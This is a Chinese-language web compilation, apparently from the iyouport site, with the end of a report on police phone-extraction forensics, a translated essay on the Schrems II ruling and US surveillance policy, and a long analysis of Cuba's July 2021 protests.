Oxygen 的首席运营官 Lee Reiber 表示，该工具可以 “在证据库中搜索特定的人脸，或者将同一人的各种图像聚在一起。他们还可以根据种族或年龄组，以及 “喜 “和 “怒 “等情绪来过滤人脸。”

- 这种监视逻辑为什么很糟糕？《说谎的眼睛：根植于维多利亚时代面部识别》

Oxygen Forensics. Source: Oxygen Forensics

结论

「图」

随着移动电话提取的使用越来越多，无论是警察还是边境安检，这些设备的数据将被用于对个人提出质疑，无论是刑事、民事还是移民诉

讼和程序。

虽然移动取证是一个快速变化的领域，但本文是一个尝试，可以帮您看到当那些使用强大的提取工具从设备中寻找数据的家伙正在干什么。

移动取证的使用提出了与作为证据形式的提取数据的可靠性有关的复杂问题，特别是，如果是由依赖简单的按钮技术而不是数字取证分析专业不熟练的人使用时，更是如此。

正义的实现取决于证据和信任的完整性和准确性。我们希望，在开始消除该领域的某些复杂性时，我们可以为有关该主题的辩论提供足够的信息。〇

在这里下载完整报告：A technical look at Phone Extraction FINAL.pdf

原文

跨大西洋数据交换的结束实际上提供了一个机会，如果美国想抓住它的话 - iyouport

免费书和纪录片关于高堡奇人长读

【2020年11月3日存档】这是件大事，尤其是当中国舆论和美国舆论忙于讨论特朗普和蓬佩奥的对华政策 “对还是错” 的阶段里 …… 如果您有对手，取得胜利就是您最大的追求是吧，但是，您的注意力越是集中在对手身上，就越是难以取得真正的成功 ……

Flags are pictured in the Court of Justice of the European Union on June 26, 2017. (Valeria Fernández Astaburuaga, https://flic.kr/p/W77ewf; CC BY 2.0, https://creativecommons.org/licenses/by/2.0/)// 欧盟法院（*CJEU*）的 *Schrems II* 判决将重塑国家安全与全球数据流动之间的关系。 通过宣布欧盟-美国隐私盾协议无效，该判决结束了二十年来跨大西洋的数据交换。法院认为，美国的监控行为是不相称的，侵犯了欧盟公民的基本权利，欧盟公民没有有效的法律手段来挑战美国的权力滥用行为。 该决定还威胁到 “标准合同条款”（基于公司的替代解决方案，以允许数据传输），通过有效授权国家（或在德国为地区）的数据保护机构来阻止将数据输出到存在高风险的国家/地区的间谍机构，如美国国家安全局。欧洲数据保护当局已经建议，欧洲数据本地化是唯一合法的前进道路。 这一判决引起了美国国家安全和隐私专家的敌意式反应，他们将这一判决描述为欧洲的 “过度扩张”。 比如，*Peter Swire* 评论说，“对于国家安全专家来说，认为一个国家的公民有权查看来自其他国家的情报文件，这是极度令人困惑的。” 还有 *Stewart Baker* 在 *Lawfare* 上撰文，将该判决描述为 “令人瞠目结舌 …… 司法帝国主义和欧洲中心主义虚伪的混合体”，并建议美国用贸易处罚来迫使欧盟退让，让欧洲人意识到美国对保留 “在没有得到欧洲政府许可的情况下制定美国法律的权利” 方面是认真的。 *Henry Farrell* 和 *Abraham L. Newman* 花了二十多年的时间研究和撰写关于欧盟和美国在隐私和安全方面的争斗（他们在 *Lawfare Podcast* 上讨论了关于这个主题的书，*“Of Privacy and Power: The Transatlantic Struggle Over Freedom and Security”*）。这些研究工作得出了一个非

常不同的结论。 您可以在这里下载这本书：*https://www.patreon.com/posts/zai-zhong-mei-de-40490501* 📌 需要修改的不是欧盟法院的判决，也不是欧洲的隐私政策，而是美国的政策制定者如何看待全球信息网络世界中的国家安全和监控问题。 二十年来，美国一直能够得到并吃到这一蛋糕 —— 在一个相互依存的世界里，美国表现得像一个单边的帝国。***Schrems II*** 展示了这一战略是如何达到其极限的。 美国正在发现，相互依存意味着它自己也是脆弱的。要修复这些弱点，就需要与志同道合的民主国家进行更深入的国际合作。而这反过来又需要国家法院和国际监控之间有一个非常不同的关系。 📌 美国的安全并没有被欧洲的隐私要求所“破坏”；相反，满足这些要求可以为美国及其盟友面对与不断变化的世界相关的新威胁所需的安全架构提供政治上的坚实基础。 在过去*30*年里，世界已变得更加全球化和相互依存。全球货币、贸易和运输网络确保了一个国家发生的事比过去更有可能影响到其他国家。 世界各地的决策者们花了一些时间才认识到，这对所谓的国家安全有着多么深远的影响。 敏捷的行为者现在可以跨国家工作，并利用全球网络的弱点，导致人们担心，例如，毒品走私者可以利用全球金融系统的薄弱控制，轻松获得报酬。 *911*之后，美国及其盟友意识到，恐怖分子也可以利用全球通信系统和金融网络来组织跨国家的阴谋。 这一反应改变了跨大西洋关系，因为美国向欧盟施加了巨大压力，要求其隐私制度服从美国所谓的“国家安全”。 * 《全球大规模监视的崛起：我们是如何走到这一步田地的？》 正如上面这本书中详细解释的那样，欧洲当局和法院通常都愿意倾听。法国内政部长、时任总统的 *Nicolas Sarkozy* 和当时的德国内政部长 *Wolfgang Schäuble* 等欧洲官员对美国的压力表示欢迎，这使他们更容易排挤国内的反对者，追求自己的国家安全目标。当时包括欧盟法院在内的法院都不愿意干涉。其结果是，跨大西洋关系被一个国家安全官员的合作网络所主导了，这些官员有不同的做法，但一致意见多于分歧意见。这个网络的目的是蓄意排斥和排挤欧洲注重隐私的官员。 这种以国安为主导的跨大西洋关系可能会持续很长时间。问题是，美国的监控机构也发现，一个相互依存的世界给他们带来了很多机会，尤其是，它很少有控制。 *2001*年*9*月*11*日之后，这些间谍有了新的资源、新的使命，以及在全球范围内收集信息并进行分析的新能力。互联网和其他全球电信网络使大量收集信息变得异常容易，而新的数据技术使分析人员能够从收集的大量数据中筛选出有价值的情报。 情报官员现在担心的不是如何获得数据，而是，面对服务器上每天积累的大量材料，如何避免瘫痪。 同时，在*1990*年代和*2000*年代，全球信息和金融网络扩大到包括越来越多的关于人们生活的信息。在许多领域，私营部门的信息网络集中在几个关键节点上，几乎所有的全球金融交易都由*SWIFT*系统记录；互联网依靠数量相对较少的光缆传输大部分国际流量；六、七家寡头公司主导了社交

媒体、搜索和电子商务的全球信息市场。 📌 这本书描述了全球经济网络中的这些弱点是如何使情报机构能够将国家间的相互依存关系武器化的，将互联网变成一种用于监视的全球全景图。 * 《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》 这也意味着情报机构的活动越来越多地与毫无戒备的公民的普通生活联系在一起 —— 关于每个人的点击动作、飞行模式和信用卡购买的数据全部被挖了出来。 此外，这些网络的运作方式使这些机构很难将外国人的信息与本国公民的信息区分开来。各间谍机构还通过在公众视野和公众控制之外的秘密安排，与其他国家的同行共享信息。这就提出了一个新的公民自由困境：由于全球经济网络使公民受到外国情报机构的监视，公民的权利受到了损害。 通过将经济网络变成全球监控机器，美国注定了对个人数据商业转移的跨大西洋项目的失败。 *2016* 年 *Privacy Shield* 的前身 —— *2000*年通过的 *Safe Harbor*，曾借助将司法管辖权的重点转移到公司层面，微调了美国和欧洲国内隐私规则的差异。美国公司证明他们遵守欧盟的同等规则，即使美国没有这样的规则。 📌 然而，当欧洲不可能忽视美国公司非常容易受到美国国安状态的操纵时，这一交易就失去了合法性。 欧洲之所以能明白这点，是由两位政治局外人 ***Edward Snowden*** 和奥地利隐私活动家 ***Max Schrems*** 带来的。 斯诺登暴露了全球网络监控的急剧扩张。 *Schrems* 则认为，泄密事件是一个机会，可以使国际监控的某些方面在欧盟具有可诉性。 * 《在三岔口：中国、欧洲和美国提供着完全不同的“互联网未来”》 从*2013*年开始，*Schrems* 在爱尔兰法院和欧盟法院对 *Safe Harbor* 提出质疑，认为斯诺登文件披露的美国实施的大规模监控行为表明，美国公司无法遵守 *Safe Harbor* 的要求。 此后发生的事件有其自身的必然性逻辑。 一旦斯诺登的揭露被公开，全球监控机器的真实范围变得清晰，欧洲和美国就很难制定一项能够持久的协议。 *Safe Harbor* 之所以能够实现，只是因为谈判者将商业数据交换与国家安全问题分开处理了。而斯诺登泄密事件使 ***Schrems*** 得以说服欧洲法官，认为不能在不解决第二个问题的情况下对第一个问题进行监管，从而关闭了可能的妥协空间。 这就是为什么没有人认为（包括谈判该协议的欧盟官员都不认为）接替 *Safe Harbor* 的隐私保护协议能有多大机会经受得住欧盟法院的审查。它只提供了软弱的行政程序和对情报机构做法的描述，而不是*CJEU*想要的真正的补救措施。 在斯诺登*7*周年里，今年的判决是人们期待已久的。 *Snowden* 和 *Schrems* 掀起了一种难以逆转的动力。美国提出的通过贸易制裁等方式惩罚欧盟来应对 ***Schrems II*** 案的建议终将失败，因为它们不会影响相关决策者。 与美国最高法院一样，欧盟法院也有自己的政治，但它不谈判。相反，它对法律做出了权威的解释。国家数据保护官员对他们的责任有自己的理解。虽然他们通常比一些美国评论家所说的更加务实，但他们认为自己的基本责任是保护欧盟公民的权利，而不是促

进国际贸易。 此外，这些法官和官员正在应对一个美国拒绝面对的基本问题 —— 因为作为一个占主导地位的监控大国，面对这个问题不符合美国的利益。 在一个由不同民族国家组成的世界里，国际监控意味着一件事，这些国家之间的关系相对较少；但在一个相互依存的世界里，它的意义就完全不同了，在这个世界里，不同国家的通讯和资金流混杂在一起，这些通讯和资金流涉及到公民日常生活的方方面面。而随着越来越多的设备上网，国际监控的侵入性将越来越强，越来越难以与国内政治分开。 其结果是，美国认为美国可以在没有任何影响的情况下进行监控的假设受到越来越多的抵制 —— 包括来自美国核心盟友的抵制。 2000年代以国家安全为主导的跨大西洋关系现在已经被欧盟法官和国家官员推到了一边，他们比欧洲谈判代表更难欺负，而欧洲谈判代表往往从一开始就默认了美国的压力。 换句话说，美国的根本问题不是欧洲帝国主义。与其他政策领域一样，是美国自己的帝国主义 —— 认为它可以单方面将自己的要求强加给盟友，而不需要反过来做出重大让步或承担任何代价。 这种单边主义限制了美国对美国实际需求如何变化的理解，也限制了美国对欧洲的要求如何创造机会以及困难的理解。 曾经，美国的政策制定者没有足够重视全球相互依存对国家安全的后果。然后，他们开始有计划地利用全球相互依存为国际监控提供的机会，这种方式引起了国际社会的反对，破坏了对美国政策的支持。 现在，他们面临着新的挑战 —— 如何与其他志同道合的国家合作，以弥补美国在安全方面的脆弱性的方式重塑相互依存关系。 长期以来，美国认为它可以将相互依存的关系武器化，以对付其他国家，而不会受到严重的打击，实行全球监控，并利用国际金融体系中的弱点来扼杀敌人，对朋友施加压力。而现在，它发现，其他国家也可以反过来将相互依存关系武器化，以对付美国。 例如，美国的政策制定者担心，如果华为为5G建设全球基础设施，中国将能够进行全球监控，甚至可能将各国从全球通信网络中切断，以惩罚它们。这对美国来说听起来像是一场灾难，但对欧洲人来说，却是滥俗的厌倦了。 正如一位玩世不恭的欧洲官员7月16日对《经济学人》所说的那样：“美国希望防止中国能够做到像美国目前对世界其他国家所做的那样。”美国现在面临的战略问题与后911的即时世界不同。它需要让其盟友积极合作，建立一个共同的相互依存领域，以更有力地对抗俄罗斯和中国等独裁国家，特别是在中国向支持全球经济网络的核心技术领域加速推进的情况下。 建立这一点将需要一种不同于美国标准的外部压力和二级制裁的工具箱的方法。美国对欧洲在隐私问题上如何“傲慢”的抱怨对欧洲人来说是空洞的，因为他们已经看到他们的银行在美国的制裁制度下支付了数十亿的罚款。 其他民主国家需要同意采取更深入的行动，建立更强大的共享信息系统，确保共同供应链的安全。这还需要在比现有的“五眼联盟”更广泛的伙伴群体中开展更深入的情报合作。 然而，如果美国不改变

对国家安全和国际公民权利之间关系的理解，关于新的“民主国家联盟”、共同发展信息技术、以及新的和更深层次的“五眼”式安排的对话将毫无进展。 更安全技术的共同安排必须得到技术公司、国家立法者和公民的认同。更深层次的情报合作将遇到隐私官员、公民自由活动家、以及最重要的是法院的强烈反对。 除非美国从根本上改变对国家安全的理解，将盟国公民的权利纳入其中，否则，在欧洲不可能克服这些挑战。 甚至在国内也难以克服这些挑战。在美国，不仅自由派和左派，而且美国右派也越来越担心国际监控和情报合作如何被用于国内政治目的。 许多美国国家安全专家对欧盟法院要求加强跨国监控与实质性的跨国法律权利并存的要求感到困惑。他们认为欧盟法院的分析是抽象的，实际上是不可信的。 然而，***CJEU*** 以及欧洲的隐私活动家和官员，不仅是对美国单边主义的回应；他们还对全球的相互依存如何改变国家安全和公民自由之间的关系有了更务实的理解。 在世界历史上第一次，一个民主国家可以在没有正式保护或补救的情况下，对另一个民主国家的公民的日常生活进行大规模的侵入性监视。这就为滥用权力提供了明显的机会，特别是当民主国家彼此分享更多信息时，使得问责变得更加困难，有时甚至实际上不可能。 上图中这本书在这里下载：*https://www.patreon.com/posts/mi-mi-jian-shi-38193590* 如果美国想重塑相互依存关系，以更好地保护民主经济和通信系统免受专制国家的侵害，就必须面对这样一个事实：如果不使一些权利也相互依存，就无法应对民主国家之间相互依存的安全挑战。这可能是一种新的、更可持续的跨大西洋安全与公民自由合作的开端，在这种合作中，技术和情报共享与真正的跨国保护公民自由同时进行。 许多欧洲法官和官员都愿意采用这种方法。***Kenneth Propp*** 和 ***Peter Swire*** 引用欧盟一位重要隐私官员的话说，美国比中国更接近欧洲的价值观，并阐述说：“我从未隐瞒过，我们更倾向于由分享欧洲价值观的实体处理数据。”换句话说，如果美国愿意重新审视自己对“国家安全”的理解，并向其他民主国家的公民提供对等的隐私权，那么美国在努力确保自身安全以对抗独裁国家的过程中就有可能找到新的盟友。这种以权利为基础的方法几乎可以肯定是与盟友进行更深层次合作的必要前提，而在一个技术和供应链成为新的威胁载体的世界里，这种合作对美国的国家安全才是真正至关重要的。 虽然这对美国的政策制定者来说可能是一个痛苦的心理调整，但是欧盟法院的判决 —— 如果美国能理解得当的话 —— 它其实是提供了一个宝贵的机会，可以开始阐述使这种方法可行的原则和实践。○ *Schrems II Offers an Opportunity—If the U.S. Wants to Take It* 原文

这一次，站起来的是真正的人民 - iyouport

反抗者-寻求经验长读

这篇文章很重要，尤其是对中国读者来说。仔细看，您会看到非常多中国的影子 ……但您也会从中发现一些中国社会真正缺乏的东西，而后者才是我们制作这篇文章的用意。

大规模的反叛并不是由欲望、愿望或一群人的嫉妒所驱动的 —— 它们是由不断恶化的物质条件、失败的民间机构和基础设施、政府连续的压制浪潮所驱动的。从本质上说，它是关于需求、必要性和生存的。

这不是什么哲学问题、甚至根本不值得辩论，它只是对广泛的历史和文献相当基本的理解。然而，最近的，从香港抗议开始，到委内瑞拉、到古巴 ……几乎所有舆论冲突都在跑题的互相抨击中浪费时间。而这正是现有的机构和权力希望我们处于的状态 —— 因为只有这样，绝大多数人才能轻松地忘记真正的罪恶。

【按】不论是当我们讨论阿富汗的时候、讨论白罗斯的时候、讨论印度、突尼斯的时候、还是讨论古巴的时候，我们真正想要引发的思考都是关于中国的。所有这些国家以及其他很多国家的镇压威胁程度都不亚于中国，但不同的是，这些国家的公民都有着坚定的反抗精神和高明的反抗智慧。

这正是我们介绍它们的原因，希望能借此帮助中国反抗者找到灵感；最低限度的，至少也许能缓解一些虚无的气氛。

今年夏天当古巴人的反抗成为全球热点的时候，您很可能看到了非常多的片面叙事、甚至完全的虚假消息，这不奇怪，想想全球互联网的主导权在谁的手里，您就明白这是为什么了。本文希望能帮您了解一些真实的古巴反抗及其背景，还是那句话，你我都是**people**，我们应该和那些同样的**people**站在一起，而不是和政权站在一起，每一场斗争都是我们所有人的斗争，只有当我们站在一起时，我们才能是真正强大的。https://t.me/iyouport/8766

7月11日星期日，在哈瓦那以南的古巴小镇圣安东尼奥·德洛斯·巴诺斯爆发了一场抗议活动。与1994年著名的 Maleconazo 抗议活动一样，对经济危机的不满情绪在炎热的夏天沸腾了起来。

当时，大批的古巴抗议者涌入该市海堤沿线的街道，遭遇到菲德尔·卡斯特罗亲自领导的反抗议活动，该活动仅在有限的警察干预下结束。7月11日发生的抗议要大得多，大规模的警察出动才被镇压。许多抗议者目前仍被拘留，一些人已经在简易审判中被判处了严重的监禁。

由于过去十年里古巴互联网的扩展，世界其他国家能够关注抗议活动的实况。随着数百万人观看示威游行的展开，一场关于其意义的争论开始了。

一波又一波的错误信息，包括贴错标签的照片和视频，造成了最初的混乱；其中一个骗局是视频错误地声称主要城市卡马圭已经被抗议者占领。并且，谎言并不局限于社交媒体。7月14日，西班牙右翼报纸ABC的记者 Alexis Rodríguez 发表了一篇报道，声称一名准将因为对抗议者过度使用武力而辞去了内政部的重要职务。虽然这篇报道在几个小时内就被辟谣了，但近一个月后，这篇文章仍然没有得到纠正。

除了假新闻之外，对抗议活动的大部分党派分析都忽略了被认为是出于政治原因的尴尬信息。在右翼，许多人指出 “自由” 的呼声证明抗议活动只是为了政治变革。因此，封锁并不是古巴当前危机的一个关键部分，认为对哈瓦那采取更强硬的态度是 “有必要的”。在左翼，许多人淡化了抗议者明确的政治要求，仅从美国对古巴经济困境的责任来解释抗议活动，毫无疑问封锁和最近的制裁只是加剧了这种困境。

一场关于7月11日之意义的争论也在古巴国内发生—— 我们这些外人只是在公开场合偶尔看到，但在私下的谈话中却是沸腾状态。但是，为了理解抗议活动的真正性质和未来动荡的可能性，我们需要从研究古巴政府的改革模式如何导致这一危机时刻开始。

当菲德尔·卡斯特罗在2006年生病时，他把权力交给了他的弟弟劳尔，后者慢慢开始实施一系列重大经济改革。劳尔希望将古巴推向中国和越南几十年前过渡到的更有利于市场的*伪*社会主义模式。随着政府放宽对私营企业的限制，它也开始削减穷人所依赖的补贴，劳尔有时将这些补贴称为 “不适当的酬金”。他想要一个 “繁荣和可持续的” 社会主义，但他刻意避免了可能威胁到共产党绝对控制的任何政治改革。

2019年，劳尔下台，把权力交给了米格尔·迪亚斯·卡内尔。这一权力

转移在今年早些时候才最终完成，迪亚斯·卡内尔成为共产党党魁以及政府首脑。迪亚斯·卡内尔似乎赞同劳尔的做法：在他接管领导权后的几个月里，他一直在推行经济改革，而没有进行实质性的政治变革。

近年来，古巴的经济遭受了许多挫折。从苏联解体后的可怕经济危机中恢复过来，大部分取决于该国自1998年以来与委内瑞拉的关系。委内瑞拉的石油在国内经过提炼后出口到国外以获得额外收入。但在过去的十年里，在委内瑞拉的石油出口经济崩溃后，这个石油国难以维持其对古巴的经济承诺。

同时，巴西、玻利维亚和萨尔瓦多的右翼政府崛起，导致古巴的医疗任务项目关闭，这些项目不仅是一种外交形式，也是古巴政府的重要收入来源。在特朗普的领导下，美国加强了禁运，将古巴重新列入“支持恐怖主义的国家”名单，并允许1959年后财产被国有化的美国人提起诉讼。这些诉讼不仅使古巴政府蒙受损失，还吓跑了现在和未来的投资者。人们最初预计拜登会推翻特朗普的制裁，但并没有，拜登保留了这些制裁，并且在7月11日之后，增加了新的制裁。

最后，该大流行病对古巴造成了严重的破坏。该国的旅游业是其最重要的收入来源之一，在2020年陷入了停滞状态。旅行限制也大大减少了古巴人出国旅行并带着鼓胀的行李箱回来的消费品流量，这种非正式的进口系统长期以来一直是政府商店高昂价格和不可靠库存的替代方案。去年，古巴的经济萎缩了11%。在一个大部分食品都是依赖进口的国家，经济萎缩对岛上最贫穷的人口伤害最大。

【注：关于这是为什么，本文最后一部分的内容中有详细介绍。】

然后，当事情似乎不可能变得更糟时，政府在1月开始统一两种货币，作为更大的经济改革方案的一部分。在一个更繁荣的时期，这一措施会引起一些通货膨胀，但从长远来看是有回报的，有助于提高公共工资。而在目前的环境下，这就像在一个堆满烟花的房间里扔了一根火柴。7月11日，在消费者匮乏、政治挫折、COVID-19病例大量增加、以及加勒比海夏季接二连三的停电中，那堆烟花被点燃了。

在一个有民主机制的系统中，这些情况无疑会产生抗议，但也只是具体的个人和政党可能会被指责。这将是一场重大的政治危机，但不一定是一场体制危机。古巴缺乏这种安全阀。那些在政治上受挫但大多只想和平生活的古巴人现在正在谈论重大变革。7月11日的抗议活动将经济和政治上的不满融合在一起，迪亚斯·卡内尔会发现很难将其分开。

7月11日的视频和照片显示，古巴社会的各个阶层都上了街。虽然有一些长期的持不同政见者参与其中，如仍被监禁的路易斯·曼努埃尔·奥特罗·阿尔坎塔拉，但绝大多数参与者似乎并不是坚定的政治活动家。虽然我们仍在重建全国各地抗议活动的确切情况，但可以说，互联网在动员民众和影响公众对国家反应的看法方面发挥了关键作用。

根据古巴独立媒体网站 El Estornudo 的报道，圣安东尼奥·德洛斯巴尼奥斯的最初抗议是通过一个名为 “La Villa del Humor”（幽默之城）的 Facebook 群组组织的，当地人在那里分享新闻或meme。在抗议活动之前的几个月里，随着经济的停滞和**COVID-19**疫情的恶化，这些帖子变得越来越政治化。最终，有人召集了一次街头抗议活动，事件就这样越滚越大。

多亏了互联网，三十年前可能是一个孤立的事件现在可以变成一个全国性的抗议运动。古巴人分享视频、照片和现场直播。尤其令政府担忧的是，抗议者不仅在哈瓦那及其周边地区走上街头，甚至在历史上一直是政府支持的据点的地区，如东部省份，也有成千上万的抗议者。庞大的人数意味着，即使没有亲自参与的古巴人也可能认识参与的人。除了呼吁 “自由” 和民主化之外，许多人还高呼 “祖国和生命”，这是一首明确的持不同政见者歌曲的口号。虽然在没有可靠的民意调查的情况下很难衡量公众意见，但重要的是要注意到大多数古巴人都呆在家里。

亲政府联盟自20世纪60年代的高峰期以来已大幅萎缩，但它仍然是古巴政府能够继续执政的关键部分；仅靠镇压无法解释其长寿。菲德尔·卡斯特罗在一场反对暴力暴君的民众政治革命中登上了顶峰，颁布了民众改革，并将自己变成了古巴主权和民族主义自豪感的象征。封锁和美国施加影响的其他尝试起到了某种指责的作用；在试图将政府的联盟撕碎的同时，美国的行动只是帮助它团结起来了。

然而，在抗议活动期间和之后，与政府有长期工作关系的主要文化人士采取了令人惊讶的批评立场。大受欢迎的古巴乐队 Los Van Van（其名字参考了政府1970年代的收糖口号）发表声明说，他们 “支持成千上万的古巴人，人们要求自己的权利，应该被倾听”。他们还说，“我们对暴力说不，但也对 atropello 说不”，意思是虐待或不公正的行为，通常是由有权力的人所为。传奇歌手和政府的长期支持者西尔维奥·罗德里格斯（Silvio Rodríguez）呼吁与那些上街游行的人进行对话。他认为，需要有 “更多的桥梁”，并承认他们的一些挫折的优点。罗德里格斯还承诺将代表被拘留的非暴力抗议者与政府交涉。古巴在世的最知名的小说家莱昂纳多·帕杜拉（Leonardo Padura）历来对公开批评政府非常谨慎，而这次他写道，抗议活动是

一种“对绝望的结果的呐喊”，政府应该听到这种呐喊。虽然这些声明听起来很有分寸，但如此知名的文化人士发表意见，是古巴国内出现动荡的一个重要标志。

目前正在进行的真正的战斗涉及到很大一部分在政治上受挫但在很大程度上被遣散的人口。反对派正试图吸引这些人，希望下次爆发抗议活动时，能指望他们上街。政府的目标是阻止这种动员。这场战斗将主要在封闭群组、通过Facebook私信、WhatsApp和其他在线应用程序的私人小组聊天中进行。在短期内，它将由古巴人如何理解抗议活动和政府的反应来决定。

政府似乎对这场争夺人心的斗争毫无准备。一个主要问题是古巴国家媒体的低质量。即使在互联网接入增长之前，国家媒体来源也是出了名的不可信和无效。一个几十年前的笑话说：“如果拿破仑·波拿巴有格拉玛[古巴最大的国营报纸]，就不会有人发现滑铁卢”。

也许更关键的是，在过去的十年里，一个年轻而多样的自由派异见人士运动开始在众多问题上巧妙地与古巴政府周旋。虽然古巴关于LGBTQ权利的政策自20世纪60年代强迫男同性恋者进入劳改营的黑暗日子以来已经有了很大的改善，但让人未能通过婚姻平等法、以及政府对LGBTQ运动的步伐和方向的严格控制，让许多人感到沮丧。2019年，警方逮捕了试图在哈瓦那举行独立的LGBTQ骄傲游行的个人。在右翼福音派的负面宣传下，国家也未能将婚姻平等纳入新宪法，这一切只是加剧了这种愤怒。

在政府对种族问题的态度上也可以看到类似的动态。古巴政府已经摆脱了“革命解决了种族主义问题”的老路线，但它却被批评其未能打击当代种族主义的古巴人所包抄，许多人指出了私营部门猖獗的种族主义和仍然巨大的种族财富差距。许多参与持不同政见者运动的杰出人物都是非洲裔古巴人，**7**月**11**日之后，政府试图将抗议者置于一边，给他们贴上“边缘人”的标签（不论是阶级还是种族方面的边缘人）。

这种淡化抗议活动的企图可能会适得其反。长期以来，古巴政府的许多支持者私下里与7月11日上街的抗议者们一样感到沮丧。他们对政府缺乏透明度、在做出政策决定时经常使用高压手段、经济改革步伐缓慢且不平衡，以及缺乏能够增加他们在政策中的发言权的政治改革感到不满意。哈瓦那未能对这些批评作出回应，这使原本相信政府的自由派批评者也开始质疑政府是否可以进行改革。

成千上万的古巴人在7月11日走上街头，不仅抗议物资短缺，而且抗

议缺乏政治自由。他们应该对自己国家的未来有发言权，我们不应该对任意逮捕、简易审判、过度使用武力、或其他侵犯他们权利的行为保持沉默。不直接面对这些问题，不论在战略上还是道德上都是不合理的。

同时，必须强调的是，古巴裔美国人右翼的许多强硬政策建议，从禁运到军事干预，在古巴*都没有*真正的支持者。六十年来，美国实施了一个残酷的制裁制度。花费了数十亿美元试图推翻古巴政府，这并不是出于对古巴人民的关心，而是出于地缘政治利益【在本文附加章节中看到具体解释】。三年前，路易斯·波萨达·卡里略斯（Luis Posada Carriles）在迈阿密去世，尽管他在1976年古巴民航客机爆炸案中策划了73人的谋杀案，其中包括24名古巴国家击剑队的成员，但他没有对此承担任何责任。

毫无疑问，大流行病中期实施的制裁促成了这场危机。美国政客和支持他们的古巴裔美国强硬派对与COVID-19有关的古巴公民死亡负有部分责任。一场争取分裂的古巴人民支持的斗争正在发生，它延续了200年前的一场更漫长的自决之战 —— 这也是一场只有生活在该岛上的古巴人才有权决定的斗争。我们这些在古巴以外的人的工作仅仅限于给他们一个空间，让他们自己做出这些选择。

推荐内容《没有”革命的政府”这种东西：为什么你不能用国家废除阶级》

7 月 11 日抗议活动中的古巴无政府主义者

「图」

如上文所述，外界对古巴抗议活动有着各种互相矛盾的解释。资本主义的右翼支持者指责古巴政府，指控抗议活动源于政府的失败；自称的反帝国主义者指责美国政府，称这些抗议活动表明美国在暗中干预；还有人指责美国对古巴的制裁，认为这些制裁是造成引发抗议活动的经济条件的主要原因。这些说法都有*部分*道理，但是，都没有把握住整体。

那么，古巴人自己是如何看待抗议活动的？如果我们不想简单地将自己的假设投射到现实事件中，我们首先应该做的是询问古巴人如何理解正在发生的事。当然，在民众抗议运动的参与者中肯定会有无数不同的观点，但我们可以从咨询那些与我们的政治相似的人开始。

一个更明显的古巴无政府主义团体是阿尔弗雷多·洛佩斯自由意志工作

室（Taller Libertario Alfredo López），这是一个无政府主义、反权威主义和反资本主义的组织，出现于2012年。他们是加勒比和中美洲无政府主义联盟的一部分，也是ABRA社会中心和自由意志图书馆的参与者之一。ABRA 社会中心和自由意志图书馆。

2021年1月初，远在最近的抗议运动开始之前，阿尔弗雷多·洛佩斯自由主义工作室发表了一份声明，阐述了他们的政治立场。

他们首先表达了对美国实施的贸易制裁的反对：

1.) 我们谴责对古巴人民的任何禁运，无论是从国外还是从国内，不论由任何国家实施的禁运。我们从根本上支持在一个需要更多团结和合作的世界里，充分部署我们人民的创造能力—— 我们的自我组织、自我生存和自我解放。

接下来，他们对古巴社会动荡的突然升级表示怀疑，由于劳工和穷人缺乏自我组织的结构，于是无法确定它一定会产生积极的结果：

2.) 我们不支持旨在实现社会爆炸的挑衅行为。在当前工人阶级和社会最不稳定阶层的组织不断恶化的情况下，这将是悲剧性的。

这一立场引起了争议 —— 例如，请阅读流亡古巴的无政府主义者古斯塔沃·罗德里格斯的回应，他探讨了无政府主义者可能支持像最近智利和哥伦比亚的起义那样的 “社会爆炸”[explosión social]的原因。

然而，四天前，阿尔弗雷多·洛佩斯自由意志工作室发表了一份声明，肯定了近日古巴的抗议活动。重要的是，一个对 “旨在实现社会爆炸的挑衅” 表示怀疑的组织拒绝了抗议活动是 “被操纵的结果” 的说法。

现在就古巴在帝国全球战略中的地位进行地缘政治争论，认为古巴的反政府抗议活动不可避免地是由迈阿密的古巴右翼支付的，抗议者只是想抢劫的罪犯，真正的革命者是和政府一起的—— 这些都是描述现实的重要部分的论点，但是，他们都在一个重点上失误。古巴人民与哥伦比亚和智利的人民一样有权利进行自己的抗议。……

这里的观点很简单，但它是至关重要的。古巴的穷人，就像世界各地的穷人一样，有权利为自己站出来。谁能比他们自己更清楚什么时候需要他们采取行动呢？

“你们这些抗议者只会让更糟糕的政府上台”—— 这是任何政府都擅长使用的镇压反对派的借口，实际上每个政府都使用过这样的借口。如果我们将这一借口合法化，我们就是站在了统治阶级的一边，反对

像我们这样的普通人，否认他们知道什么对自己最有利。如果我们拒绝声援被剥削者和被压迫者，他们将不可避免地倾向于保守派 —— 就像他们在整个前东欧集团所做的那样。在像古巴这样的地方抛弃普通的抗议者，就是给了极右翼一个黄金的招募机会。

我们应该从全球的角度来理解古巴发生的事。人们不仅仅是在一个国家进行抗议。在法国、香港、加泰罗尼亚、黎巴嫩、厄瓜多尔、智利、美国、白俄罗斯、俄罗斯、突尼斯、巴西、哥伦比亚、 …… 每个国家的人们都在进行抗议。在截然不同的地缘政治背景下，在截然不同的政权下，无数人都在采取类似的策略来表达类似的不满情绪。这表明，这里发生的事比古巴政府的失败或帝国的操纵更加深刻。

虽然古巴的抗议活动是由具体的经济发展引发的，但我们可以发现一些共同的线索，几乎把上述所有的例子都联系起来。

首先，从美国的赤裸裸的资本主义到北欧的社会民主国家，再到中国和尼加拉瓜这样的专制国家，到处都可以看到日益扩大的贫富差距和紧缩措施。第二，在削减社会项目和保护措施的同时，所有这些政府都在投入大量资源，加强国家暴力和监控。因此，几乎所有的政府都面临着合法性危机，无论这些危机是以民族独立斗争、民粹主义运动、对 “更多民主” 的要求，还是真正的横向社会运动的形式出现。

紧缩措施和强化的治安管理都不成比例地影响着每个国家最受压迫和最贫穷的人口 —— 从美国的黑人社区到中东的东南亚外籍劳工 —— 同时激发了那些对失去特权感到焦虑的反动分子。**COVID-19大流行病**只是加剧了这种情况，使富人和穷人、统治者和被统治者之间的鸿沟更加明显。

因此，在古巴发生的事并不独特，也不仅仅是政府不当行为或干预的结果。当我们这样看待问题时，我们的责任就变得很清楚了。

我们必须在当代基层斗争的基础上建立新一代的运动，以应对资本主义在全球范围内带来的问题。我们的责任是对古巴的普通人民，而不是对那些统治他们的人。我们应该与那些正在尝试有原则的自卫和自决形式的人接触，以便与他们团结一致 —— 在今天的政权和明天可能继任的政权下。

